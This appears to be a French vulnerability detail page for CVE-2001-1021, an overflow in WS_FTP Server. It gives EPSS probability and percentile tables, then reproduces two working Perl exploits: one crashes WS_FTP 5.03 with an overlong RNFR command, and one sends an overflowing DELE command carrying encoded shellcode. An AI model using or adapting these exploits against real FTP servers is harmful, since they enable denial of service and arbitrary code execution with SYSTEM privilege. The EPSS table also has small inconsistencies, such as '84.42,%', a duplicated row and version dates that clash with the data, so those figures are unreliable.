CVE-2001-1021 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	7.69%	–	–
2022-02-20	–	–	7.69%	–	–
2022-04-03	–	–	7.69%	–	–
2022-05-29	–	–	7.69%	–	–
2023-03-12	–	–	–	79.39%	–
2023-06-18	–	–	–	76.82%	–
2024-06-02	–	–	–	76.82%	–
2024-12-22	–	–	–	49.41%	–
2025-01-19	–	–	–	49.41%	–
2025-03-18	–	–	–	–	83.94%
2025-03-30	–	–	–	–	84.42%
2025-03-30	–	–	–	–	84.42,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	81%
2022-02-20	82%
2022-04-03	92%
2022-05-29	93%
2023-03-12	98%
2023-06-18	98%
2024-06-02	98%
2024-12-22	98%
2025-01-19	98%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

#===== Start WS_FTP_Overflow.pl ===== # # Usage: WS_FTP_Overflow.pl <ip> <ftp user> <ftp pass> # WS_FTP_Overflow.pl 127.0.0.1 hello moto # # WS_FTP Server Version 5.03, 2004.10.14 # # Download: # http://www.ipswitch.com/ # ###################################################### use IO::Socket; use strict; my($socket) = ""; if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "21", Proto => "TCP")) { print "Attempting to kill WS_FTP Server service at $ARGV[0]:21..."; sleep(1); print $socket "USER $ARGV[1]\r\n"; sleep(1); print $socket "PASS $ARGV[2]\r\n"; sleep(1); print $socket "PORT 127,0,0,1,18,12\r\n"; sleep(1); print $socket "RNFR " . "A" x 768 . "\r\n"; close($socket); } else { print "Cannot connect to $ARGV[0]:21\n"; } #===== End WS_FTP_Overflow.pl ===== # milw0rm.com [2004-11-29]

source: https://www.securityfocus.com/bid/3102/info WS-FTP Server is vulnerable to malicious remote user input argumenting multiple FTP commands received from anonymously connecting clients. An attacker may supply a long sequence of characters as an argument to any of the affected commands. If the length of the argumenting string exceeds the size of its input buffer, the excess data will overwrite other variables on the stack and the stack frame itself. As a result, an attacker can replace the affected function's return address with a pointer to malicious shellcode, allowing arbitrary code to run with SYSTEM privilege. #!/usr/local/bin/perl ######################################################################### # # WS_FTP Server 2.0.2 DELE proof-of-concept exploit # By andreas@defcom.com and janne@defcom.com (C)2001 # ######################################################################### $login="ftp"; #username $pass="ftp"; #password ######################################################################### $ARGC=@ARGV; if ($ARGC !=1) { print "WS_FTP server 2.0.2 DELE proof-of-concept exploit\n"; print "It creates a file named defcom.iyd in the c-root\n"; print "(C)2001 andreas\@defcom.com\n"; print "Usage: $0 <host>\n"; print "Example: $0 127.0.0.1\n"; exit; } use Socket; my($remote,$port,$iaddr,$paddr,$proto); $remote=$ARGV[0]; $port = "21"; $iaddr = inet_aton($remote) or die "Error: $!"; $paddr = sockaddr_in($port, $iaddr) or die "Error: $!"; $proto = getprotobyname('tcp') or die "Error: $!"; socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!"; connect(SOCK, $paddr) or die "Error: $!"; sleep(1); $msg = "user $login\n"; send(SOCK, $msg, 0) or die "Cannot send query: $!"; $msg = "pass $pass\n"; sleep(1); send(SOCK, $msg, 0) or die "Cannot send query: $!"; $sploit = "\x8b\xd8\x8b\xf8\x83\xc0\x18\x33\xc9\x66\xb9\x42\x81\x66\x81\xf1\x80\x80\x80\x30\x95\x40\xe2\xfa\xde\x1e\x76"; $sploit = $sploit . "\x1e\x7e\x2e\x95\x6f\x95\x95\xc6\xfd\xd5\x95\x95\x95\x2b\x49\x81\xd0\x95\x6a\x83\x96\x56\x1e\x75\x1e\x7d\xa6\x55"; $sploit = $sploit . "\xc5\xfd\x15\x95\x95\x95\xff\x97\xc5\xc5\xfd\x95\x95\x95\x85\x14\x52\x59\x94\x95\x95\xc2\x2b\xb1\x80\xd0\x95"; $sploit = $sploit . "\x6a\x83\xc5\x2b\x6d\x81\xd0\x95\x6a\x83\xa6\x55\xc5\x2b\x85\x83\xd0\x95\x6a\x83"; $msg = "dele " . $sploit . "\xd4" x (460-length($sploit)) . "\xf6\xaf\xc9\xf1\xf0\xf3\xf6\xfa\xf8\xbb\xfc\xec\xf1\x95"; $msg = $msg . "\xab\xa3\x54\x77" . "\xd4" x 16 . "\x8b\xc4\x83\xe8\x7f\x83\xe8\x7f\x83\xe8\x7f\x83\xe8\x71\xff\xe0\n"; print $msg; sleep(1); send(SOCK, $msg, 0) or die "Cannot send query: $!"; exit;